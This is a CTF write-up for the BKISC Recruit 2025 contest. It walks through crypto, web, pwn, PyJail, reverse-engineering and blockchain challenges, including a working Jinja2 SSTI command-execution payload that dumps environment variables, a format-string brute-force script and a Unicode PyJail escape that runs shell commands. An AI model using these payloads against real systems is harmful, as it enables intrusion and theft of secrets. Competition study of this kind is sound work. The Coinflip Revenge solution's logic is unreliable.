Page image
BKISC RECRUIT 2025 - CTF write-up
Published: Nov 14, 2025

The CTF has two parts: online and onsite. For the online competition, participants are given 5-6 days to solve problems over the Internet. For the other one, participants will solve a different set of problems on the club’s room for 8 hours with AI assistance prohibited. The final score will be calculated from results of these two parts.

These are my write-ups for problems I solved. Credits to Anthony Wang for helping me with the crypto problem. The CTF site can be accessed here.

Online

Warm-up

Sanity Check

Simply follow the instructions and the flag should appear: message link

BKISC{W3lcom3_to_Our_CTF_G00d_luK}

Crypto

Hint

Let’s take a look at the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from Crypto.Util.number import *
from Crypto.Hash import SHA256

p = getPrime(512)
q = getPrime(512)
N = p*q
e = 65537

flag = b"BKISC{fake_flag}"
h = SHA256.new()
h.update(flag)
hash = bytes_to_long(h.digest())

fake_d = inverse(e, N*N*hash)

hint = ( fake_d + p + q + p**2 + q**2 ) % (N*N*hash)

c = pow(bytes_to_long(flag),e,N)

print("hint = ",hint)
print("ct = ",c)
print("N = ",N)
print("e = ",e)

# hint =  105217396922656190655365832520070540474812835871751645175910897713943545125703928383845744885007465032774989282486434847779078219990645735264162797956625479373539686282368701103215832867768905741760788862674577914797879608129851489156671625997234327860618054242681087302059199704883967219236561488252038501778965183165022413780343547120248087738306415276840920495865837295028145157097694838092006393661897147222956243107674700324994366113424980179340639906967856632361347482589994937661792366753718121752302522178532898789831778219332114524113893086966848188897780470957564763071916230196265521397365755824586603565230984920187421764550963821878118529711032397760754758960657932251998832972998
# ct =  47526549131051840642634191535130992929490228604176140787264870951215637385310934016003830975916543078737080067601510650484573148652939222316390288454894310532442119356739284395348523202082614446493286571769856800925092269250427288746904066260512994154189092344683652606151120468479260798443537230595489394876
# N =  96770844805974300470192423199373710360002142496940748579659484379276488707785700599974930354399834421445407161095508487786455899620945479190043097131622161448722252582056478557127342599303797521587325935485852108935321338138467193974703085983702861024566621235696530526571719226685542626435003926130395556543
# e =  65537

The author is generous enough to give us a hint value here. Maybe we can use this value to somehow calculate $p$ and $q$.

A key observation here is that $p + q + p^{2} + q^{2}$ is very small compared to $N \ast N \ast \text{hash}$. With that, we could retrace each values using some maths:

1
2
3
4
5
hash = hint*e//N//N
fake_d = inverse(e, N*N*hash)
p_plus_q = math.isqrt(hint-fake_d + 2*N)
p = (p_plus_q + math.isqrt(p_plus_q * p_plus_q - 4*N)) // 2
q = (p_plus_q - math.isqrt(p_plus_q * p_plus_q - 4*N)) // 2

After that, it is just basic RSA:

1
2
d = inverse(e, (p-1)*(q-1))
print(long_to_bytes(pow(ct, d, N)))  # BKISC{th4nk_y0u_f0r_g1v1ng_m3_hint!!!}

Web

JUMP

Examining the source code with DevTools, we can see that this is a pure JavaScript game, running entirely on the client-side. There are also a decent amount of module-level variables for us to play with.

The game is supposed to give us the flag when we achieve a high-score of 10000, so the simplest approach is to somehow get 10000 in scores. I looked for the function that is responsible for calculating the score and found this function from the Score class:

1
2
3
update(frameTimeDelta) {
    this.score += frameTimeDelta * 0.01;
}

This frameTimeDelta argument can be manipulated by:

  1. Refresh the page to reset everything.

  2. Open up the DevTools" debugger and go to line 894.

  3. Start the game and immediately stop the execution with the debugger.

  4. Set a breakpoint at line 894.

  5. Resume execution so the game reaches the breakpoint.

  6. Go to “Console” and run previousTime = -1000000

  7. Go back to debugger and remove the breakpoint.

  8. Resume execution, you should reach just above 10000 points and get the flag.

I didn’t save the flag, but you can try retrieving it by following the steps above.

Error

The homepage seems to do nothing and visiting any other paths will only return a 404 page that seems to copy the requested path into the HTML source.

Considering the easy, rce and ssti tags from the problem’s page, also knowing that the page is being served using Flask by examining the HTTP headers, I assume that this is a simple Jinja2 server-side template injection problem. Testing it by visiting /{{7*7}}, we get 49 back in the page. We can now search for a Jinja2 RCE payload online and just try it out.

I use this payload template {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}} to look around the system and discovered the flag in the environment variables:

GET /{{request.application.__globals__.__builtins__.__import__('os').popen('env').read()}}

-> HOSTNAME=be82b2d ... FLAG=BKISC{3rr0r_b453d_55t1_r34lly???}

Thief

Inspecting the page, we can find a single JavaScript tag that seems to do some hash comparison. There is one thing that caught my eye: the attemptLogin function.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
async function attemptLogin(){
  const user = (document.getElementById('user').value || "").trim();
  const pass = document.getElementById('pass').value || "";
  try {
    const passHash = await sha256Hex(pass);

    if (safeCompare(user, 'admin') && passHash === REAL_PASSWORD_HASH) {
      sessionStorage.setItem('isAdmin', '1');
      window.location.href = '/admin.html';
    } else {
      alert('Login failed');
    }
  } catch (e) {
    console.error('Hashing error', e);
    alert('Error during authentication');
  }
}

When we put submit the credentials, this function checks if the inputted username is admin and password" hash is identical to the provided hash. If it satisfies, it will set a value in the page’s session storage and redirects us to /admin.html. If we attempt to access the admin page directly, we’ll get an “Access Denied” error. But when we inspect the page again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
if(sessionStorage.getItem('isAdmin') === '1'){
  document.getElementById('content').innerHTML = `
    <p class="success">✓ Welcome, admin!</p>
    <p>Here is your flag:</p>
    <pre id="flag">BKISC{h0w_c4n_y0u_cr4ck_th4t_p4ssw0rd???}</pre>
  `;
} else {
  document.getElementById('content').innerHTML = `
    <p class="error">✗ Access denied. You must log in as admin.</p>
    <p><a href="/index.html">← Go back to login</a></p>
  `;
}

Oh well, that was anti-climatic.

Pwn

Digital Systems

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int main() {
    init();
    puts("Is there a number that is less than 10 and equal to 11?");
    printf("Enter a number: ");
    unsigned short num = read_int_lower_than(10);
    printf("%d", num);

    if(num == 11) {
        puts("Correct!");
        puts("One more question: Is there a number that is less than 69 and equal to 96?");
        printf("Enter a number: ");
        unsigned short num2 = read_int_lower_than(69);

        if(num2 == 96) {
            puts("Correct!");
        } else {
            puts("Try again!");
            exit(1);
        }

        puts("Here is your flag:");
        system("cat flag.txt");
    } else {
        puts("Try again!");
    }
}

The unsigned short types suggests that this is a integer overflow problem. Wikipedia has a great article on C data types which we could use as a reference for the bounds. An unsigned short can only contain values in between 0 and 65535, assigning -1 should give us 65535, -2 would be 65534, and so on. Now we can solve the problem with simple arithmetics:

Is there a number that is less than 10 and equal to 11?
Enter a number: -65525
Correct!
One more question: Is there a number that is less than 69 and equal to 96?
Enter a number: -65440
Correct!
Here is your flag:
BKISC{digital_systems_4r3_m4dn355_133467}

Forensics

Wireshark 101

This file contains only TCP packets. First thing to do is to follow the TCP stream and see where it brings us to. We then notice that all packets contain some kind of data under the form of ASCII strings. Going to the last packet, we get a =, suggesting that this stream of data is encoded in Base64. Simply extract all data transmitted from this file into strings and we get a bunch of Lorem Ipsums and the flag.

BKISC{TCP_15_e4zy_e76531}

ezBlockchain

The provided link leads us to a Sepolia Testnet contract. Since this is a “wander around” problem, I will just list out where the flag parts are, for the sake of brevity:

  • Part 1: Go to the “Contract” section, we get a bunch of Solidity code and our first part of the flag in the variable part1BKISC{w0w_y0u

  • Part 2: Go to “Contract” -> “Read Contract” and open up the twotrap contract information → _D3fin1tely_a

  • Part 3: Go to the “Transactions” section and open up the details of the only transaction there (0x67e885366aaef8f4f71c798c7ff2a4a4010bc7b623ca689b4872be239bd58289), click on “More Details”, open up “View Input As” dropdown menu and choose UTF-8_m4sT3r_at_

  • Part 4: In the original contract page, go to the “Events” section, convert the last three log lines to text → BlOcKcHaIn_c736e7a84f0b1e54ac288417ed5fb04800621be4a119184c998e0d621d63625a}

Merge them all together and we get:

BKISC{w0w_y0u_D3fin1tely_a_m4sT3r_at_BlOcKcHaIn_c736e7a84f0b1e54ac288417ed5fb04800621be4a119184c998e0d621d63625a}

Web Deployment

The challenge gives us a Dockerfile:

1
2
3
4
5
6
7
FROM hah4/found-me:latest

RUN apt update && apt upgrade -y
RUN apt install -y tmux
COPY --from=hah4/pwndocker /root/.tmux.conf /root/.tmux.conf

CMD ["nginx", "-g", "daemon off;"]

Checking out the hah4/found-me image on DockerHub, we can see that the image is just a harmless web server. Since a Docker image is just an archive of files glued together, perhaps there is something interesting stored inside the image. A simple web search on how to extract a Docker image and some UNIX magic is enough for us to find the flag (note: I’m using fd as a replacement for find):

1
2
3
4
5
podman pull docker.io/hah4/found-me:latest
mkdir found-me && cd found-me
podman save hah4/found-me > found-me.tar
tar xvf found-me.tar
fd -t f -x strings {} \; | grep -i bkisc   # BKISC{DO DOC DocK DoCKeR $e@M5 1!Ke g!7hUb??}

Misc

ai_thong_minh_hon_hoc_sinh_lop_5

Connecting to the netcat server gives us this prompt:

============================================================
🧠 AI THONG MINH HON HOC SINH LOP 5 🧠
============================================================
Answer all questions correctly to get the flag!
You have 300 seconds to complete the challenge.
============================================================

📝 Total questions: 100

Question 1/100:
>>> 2 + 2
Your answer:

After typing in some answers, we notice that the questions all seems to be Python expressions and the server will timeout after 20-30 seconds. A simple solution to get over this timeout is to save all of the answers, separate them by a newline, and then copy and paste it all in the prompt to gradually work out to the end.

Question 100/100:
>>> str('BKISC{r3m3mb3r_t0_5@n1t1z3_b4_eval}')
# BKISC{r3m3mb3r_t0_5@n1t1z3_b4_eval}

2 World

The challenge gives us an audio file. If you listen to it, you’ll hear a horrible rap track on the right stereo and an automated voice on the left stereo that whispers the flag. Plug in your IEM, listen to the left stereo and write out the flag in uppercase. I didn’t save the flag, but you should be able to get it by following the steps above.

Hornpy Jail

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
bad = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

banner = # <omitted for brevity>
print(banner)
print("You got sent to jail for being horny!")
cod = input("Type your defense here and the judges will decide your fate: ")

for c in bad:
    if c in cod:
        print("Bonk!!!")
        exit(0)

eval(cod)

This challenge introduces us to an unique CTF field called PyJail. In these problems, contestants will try to break out of a Python sandbox by crafting a payload that bypasses all provided constrains. From the source code, we figured that we’ll need a payload that does not use, literally, any of character you could find on your keyboard, but except for round brackets ().

The first thing I did is to lookup if there are existing articles that document eval’s quirks and found this excellent write-up. From it, I found some crucial information about Python, like:

The Unicode standard supports the concept of equivalence. If we look at this useful page for the codepoint for the letter a for example, we can see a long list of symbols that are declaratively similar in appearance or meaning to the ASCII letter ‘a’.

All these fancy codepoints will be converted into the correct ASCII letter when normalized, which is an operation that python3 performs before parsing an identifier.

This means:

1
print("Hello, world")

and this:

1
print("Hello, world")

does the exact same thing: printing “Hello, world” to output.

Utilizing this knowledge, we can craft a payload that allows us to execute Python code via input:

1
exec(input())

Applying this to the remote challenge instance:

You got sent to jail for being horny!
Type your defense here and the judges will decide your fate: exec(input())
import os; os.system("cat flag.txt")
BKISC{y0u_c4n_0nly_35c4p3_7h3_b0nk_th15_t1m3}

Reverse

Baby flag checker

First thing to do is to put the binary on a decompiler, I use Dogbolt for this since I can’t get a good decompiler on my Linux system. The password checking mechanism looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
iVar1 = strcmp(local_118,"Apprentice_Reverser");
if (iVar1 == 0) {
  printf("Give me your assword: ");
  fflush(stdout);
  pcVar2 = fgets(local_98,0x80,stdin);
  if (pcVar2 == (char *)0x0) {
    uVar3 = 1;
  }
  else {
    sVar4 = strcspn(local_98,"\n");
    local_98[sVar4] = '\0';
    iVar1 = strcmp(local_98,"sUp3r_5eCUr3_p4s5w0rD");
    if (iVar1 == 0) {
      printf("Here\'s your flag: BKISC{%s_%s}\n",local_118,local_98);
      uVar3 = 0;
    }
    else {
      puts("Susge\n");
      uVar3 = 0xffffffff;
    }
  }
}

This piece of code should be sufficient for you to work out the flag.

BKISC{Apprentice_Reverser_sUp3r_5eCUr3_p4s5w0rD}

Web-ASM

“Find the password for the Admin user.”

The bundled archive gives us the source code of a web application that uses WebAssembly. Let’s decompile the WASM binary with wasm-decompile from wabt:

1
wasm-decompile auth.wasm > decomp.c

From the decompiled C code and JavaScript files, we’ll have a few observations:

  • check_auth will be called from Javascript, with inputted username, password as arguments.

  • check_auth calls f_b

  • From the decompiled code, we know that f_b checks if the username equals to “Admin”

  • check_auth calls f_c

  • f_c checks if the provided password, XOR-ed with B, is identical to \00\09\0b\11\019\00#1+!\1d\0376*\1d71+,%\1d\15\03\11\0f?

So the password would be \00\09\0b\11\019\00#1+!\1d\0376*\1d71+,%\1d\15\03\11\0f? XOR-ed with B. Put it on Cyberchef and we will get the flag:

BKISC{Basic_Auth_using_WASM}

Onsite

pwn

hidden in plain sight

Unlike off-site, this time I got Binary Ninja up and running on my machine, so I’m a bit more comfortable working on problems related to compiled binaries.

The challenge comes with a compiled Linux binary and a Dockerfile. Let’s boot up the binary file in Binary Ninja and see what we get:

Looking up the main function, we can see that the program is executing a getflag function at the very top of it. getflag will attempt to read flag.txt from system and save the value into a global buffer named flag. Right below the getflag call, the function loads flag’s value into a local variable. So basically the flag is saved somewhere on the stack and we need a way to retrieve it.

Going down the main function, we find:

1
2
3
4
5
printf("Enter the coordinate> ");
char var_38[0x20];
fgets(&var_38, 0x14, stdin);
printf(""Private, aim for those coordinates at ");
printf(&var_38);

These lines of code indicates that this is a format string vulnerability. That makes things easier, since the offset between the printf call and the local flag variable is always the same, we can just brute force to find the payload. I wrote this Bash script below:

1
2
3
4
5
6
7
exec 2>/dev/null # Suppress all errors

for i in {1..500}
do
 echo "position: $i"
	echo "%$i\$s" | ./chall
done

Basically, what it does is get values from increasing positions of the stack with this base payload: %n$s (interpret n-th stack value as a string). Since the challenge doesn’t include a flag.txt for the local binary to read, we need to create it with some identifiable content in order to make this script work. After that just run the script and save its output to a file:

$ echo 'test_flag' > flag.txt
$ bash script.sh > out

In out, find test_flag. You’ll see that it appears at position 30, which means our payload is %30$s. Sending this to the challenge’s instance should reveal the flag:

BKISC{s0_f4r_y3t_5o_cl0s3_bu7_5om3h0w_y0u_s71LL_f0und_m3}

forensics

Transmission

Another Wireshark challenge. This time it is about Bluetooth traffic:

Bluetooth can be used to transfer files, so our top priority should be to analyze the traffic involving the OBEX (file transfer) protocol, let’s look it up:

The packet information kinda gave it away, this part of traffic seems to be transferring a PNG image file. From here, I looked up for some information about the properties of a PNG file so that we could identify the starting and ending point of traffic. One well-documented information that we could utilize is file signatures. A normal PNG file would start with 89 50 4E 47 0D 0A 1A 0A and end with a data chunk that contains 49 45 4E 44 (IEND). With this information, we would that the data transfer starts at packet 294 and ends at packet 351. This means that all chunks of data are transferred sequentially (this is observable by trying to transfer files with Bluetooth actually). With further analyzation, you would see that all OBEX packets labelled Put continue will contain data, accessible via the field obex.header.value.byte_sequence as hex. We can use tshark to extract all data from these OBEX packets and save them into a file. Since tshark would loop through all packets to access this field, so some empty lines and artifacts are expected. We can use UNIX’s tr to trim those out:

1
tshark -r chal.pcapng -e 'obex.header.value.byte_sequence' -T fields | tr -d '\n' | tr -d '<MISSING>' > tmp

Now convert all the hexes into characters and we would get a readable PNG file:

reverse

Mathematical Modelling

This challenge comes with a single compiled program as a binary file. The program asks for a password as an argument. Let’s load it up on Binary Ninja to see what it does with the password internally:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int32_t main(int32_t argc, char** argv, char** envp)

  {
      void* fsbase;
      int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);

      if (argc <= 1)
      {
          printf("Usage: %s <password>\n", *(uint64_t*)argv);
          exit(0xffffffff);
          /* no return */
      }

      char* rax_6 = argv[1];
      uint64_t rax_8 = strlen(rax_6);

      if (rax_8 != 0x15)
      {
          puts("Susge");
          system("open https://youtu.be/mIFpE5Xz9ws?si=EKumi-vk44dI-n2s");
      }

      int32_t var_a8 = 0;
      void* var_a0 = nullptr;

      while (var_a0 < rax_8)
      {
          char rax_11 = *(uint8_t*)((char*)var_a0 + rax_6);

          if (var_a8 > 0xc8)
          {
              puts("Invalid state!");
              exit(0xffffffff);
              /* no return */
          }

          switch (var_a8)
          {
              case 0:
              {
                  if (rax_11 == 0x7c)
                      var_a8 = 1;
                  else if (rax_11 == 0x5a)
                      var_a8 = 2;
                  else if (rax_11 == 0x30)
                      var_a8 = 3;
                  else if (rax_11 == 0x23)
                      var_a8 = 4;
                  else if (rax_11 == 0x6b)
                      var_a8 = 5;
                  else if (rax_11 == 0x42)
                      var_a8 = 6;
                  else if (rax_11 == 0x5b)
                      var_a8 = 7;
                  else if (rax_11 == 0x75)
                      var_a8 = 8;
                  else if (rax_11 != 0x68)
                  {
                      if (rax_11 != 0x49)
                      {
                          puts("Wrong!");
                          exit(0xffffffff);
                          /* no return */
                      }

                      var_a8 = 0xa;
                  }
                  else
                      var_a8 = 9;

                  var_a0 += 1;
                  continue;
              }
              case 1:
              {
                  puts("Access denied!");
                  system("open https://youtu.be/mIFpE5Xz9ws?si=EKumi-vk44dI-n2s");
                  exit(0xffffffff);
                  /* no return */
              }
              ...

From the beginning of the main function, we have rax_6 that stores the password and rax_8 storing the password’s length. The following check ensures that password must be 21 characters long. Coming down to the while loop, the program iterates through each character of the password, stored in rax_11, and then check var_a8 in a switch case.

Since var_a8 was initialized with 0, we should analyze the statements from case 0: of the switch case. Inside case 0 are a bunch of if-else statements that check if the current character is equal to a hex value, which seems to be hex representation of ASCII characters. Ending case 0, the program goes back to the start of while, and iterates to the next character of the password. Looking at other switch cases though, we can see that a lot of them simply exit the program if var_a8 is equal to some value, but there are some cases that is almost identical to case 0. For example, 0xa, 0x14, 0x1e, etc.

There is a if-else clause that stands out from case 0:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
else if (rax_11 != 0x68)
{
    if (rax_11 != 0x49)
    {
        puts("Wrong!");
        exit(0xffffffff);
        /* no return */
    }

    var_a8 = 0xa;
}

If two of these if statements were satisfied, var_a8 would be set to the value that could continue down the switch. These statements stands out by being nested, but they just check if rax_11 is equal to the value in the second if. So basically, this while loop just check if the password is correct by iterating and comparing each character. We should get the password by getting the hex values of the nested ifs above from switch cases identical to case 0. If you follow through the cases correctly, you should end up at case 0xc8:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
case 0xc8:
{
    if (rax_6[0x14] != 0x41)
    {
        puts("Susge");
        exit(0);
        /* no return */
    }

    int32_t var_88;
    __builtin_memcpy(&var_88,
        "\x2d\x00\x00\x00\x01\x00\x00\x00\x6c\x00\x00\x00\x2d\x00\x00\x00\x17\x00\x00\x00"
    "36\x00\x00\x00\x68\x00\x00\x00\x2a\x00\x00\x00\x59\x00\x00\x00\x5f\x00\x00\x00\x"
    "14\x00\x00\x00\x1e\x00\x00\x00\x51\x00\x00\x00\x2b\x00\x00\x00\x72\x00\x00\x00\x"
    "6b\x00\x00\x00\x2e\x00\x00\x00\x37\x00\x00\x00\x59\x00\x00\x00\x5c\x00\x00\x00\x"
    "7e\x00\x00\x00",
        0x54);
    char var_28[0x18];

    for (int32_t i = 0; i <= 0x14; i += 1)
        var_28[(int64_t)i] = (char)(&var_88)[(int64_t)i] ^ rax_6[(int64_t)i];

    printf("Congratulations! Flag: BKISC{%s}\n", &var_28);
    exit(0);
    /* no return */
}

The right hex value of the first if statement will be our last character of the password, and following statements should process that password and give us the flag. Now that you have written all of the hex values found from cases, you will have the password by converting all of those to ASCII characters. Passing that password into the program should give you the flag:

$ ./chall "I13TXC7a7ocAe^&[Cv-hA"
Congratulations! Flag: BKISC{d0_yOu_Kn0w_4uT0mAt4?}

blockchain

Coinflip

To do all of these blockchain problems, you’ll need nothing else but a Metamask wallet and faucet.

The contract source code is quite short:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pragma solidity ^0.8.17;

contract bkiscFlip {
    struct State {
        uint8 a;                // 0 or 1
        uint8 b;                // 0 or 1
        uint256 consecutiveWins;
        uint256 nonce;          // >0 means initialized
    }

    mapping(string => State) private states;

    function getA(string calldata mssv) external view returns (uint8) {
        return states[mssv].a;
    }

    function getB(string calldata mssv) external view returns (uint8) {
        return states[mssv].b;
    }

    function getConsecutiveWins(string calldata mssv) external view returns (uint256) {
        return states[mssv].consecutiveWins;
    }

    function currentSideIsOne(string calldata mssv) external view returns (bool) {
        State storage s = states[mssv];
        return ((s.a + s.b) % 2) == 1;
    }

    function init(string calldata mssv) external {
        State storage s = states[mssv];
        if (s.nonce == 0) {
            s.nonce = 1;
            _rerollAB(s, mssv); // sets initial a,b
        }
    }

    function flip(string calldata mssv, bool guess) external returns (bool correct) {
        State storage s = states[mssv];
        require(s.nonce > 0, "Call init(mssv) first");

        uint8 outcome = (s.a + s.b) % 2;
        bool sideIsOne = (outcome == 1);
        correct = (guess == sideIsOne);

        if (correct) {
            s.consecutiveWins += 1;
        } else {
            s.consecutiveWins = 0;
        }

        _rerollAB(s, mssv); // prepare a,b for the next round
        return correct;
    }

    function _rerollAB(State storage s, string calldata mssv) private {
        bytes32 h = keccak256(abi.encodePacked(mssv, s.nonce));
        uint256 x = uint256(h);
        s.a = uint8(x & 1);          // bit 0
        s.b = uint8((x >> 1) & 1);   // bit 1
        s.nonce++;
    }
}

From the challenge’s description and source code, all this contract does is simulate a coin-flip (the flip function) and keep track of your consecutive correct guesses. The challenge asks to somehow guess the outcome of flip correctly, ten times in a row.

Taking a closer look at flip, we see that it calculates the outcome using two variables a and b from a State object, so we must know a and b from the state if we want to always win. Good news is that at the end from each flip, the state would update its values for the next flip so the values are known before each flip, and we can start those values via read contracts defined in the source code. The author is also very generous to add a currentSideIsOne function that prints the exact outcome of the next flip, so we can just call that function, get the outcome, call flip with the outcome, repeat 10 times, and ask for the flag. Make sure that all previous transactions have been completed before repeating the steps.

BKISC{1_c4nt_b3l31v3_y0u_fl1p_th4t_g00d}

Coinflip Revenge

Let’s take a look at the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pragma solidity ^0.8.0;

contract bkiscFlip {
    struct Player {
        uint256 consecutiveWins;
        uint256 lastHash;
    }

    mapping(string => Player) private players;

    uint256 private constant FACTOR =
        1157920892373161954235709850086879078532699846656405640394575840079131296399; // constant

    function getConsecutiveWins(string calldata mssv) external view returns (uint256) {
        return players[mssv].consecutiveWins;
    }

    function getLastHash(string calldata mssv) external view returns (uint256) {
        return players[mssv].lastHash;
    }

    function flip(string calldata mssv, bool _guess) external returns (bool) {
        Player storage p = players[mssv];

        uint256 blockValue = uint256(blockhash(block.number - 1));

        // Prevent using same block twice
        if (p.lastHash == blockValue) {
            revert("Wait for next block");
        }

        p.lastHash = blockValue;

        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            p.consecutiveWins += 1;
            return true;
        } else {
            p.consecutiveWins = 0;
            return false;
        }
    }
}

This challenge is essentially the same as the previous challenge, but with updated logic and instead of a and b we have lastHash. lastHash gets updated after every flip, and a flip is true if lastHash divided by the constant FACTOR is equal to 1. Since we can get lastHash at any time, we can always win by getting lastHash via the read contract, calculate the expression lastHash / FACTOR, flip with true if the function evaluates to 1 or false otherwise. Repeat 10 times and ask for the flag. One thing to note is that Solidity doesn't support floating point numbers, so rounding errors may appear and alter the outcome. I didn’t have this problem during my run, though.

BKISC{1_c4nt_b3l31v3_y0u_w0n_fl1p_4g41n}

← Go to parent
Category:  CTF
Tags:  Write-up Competition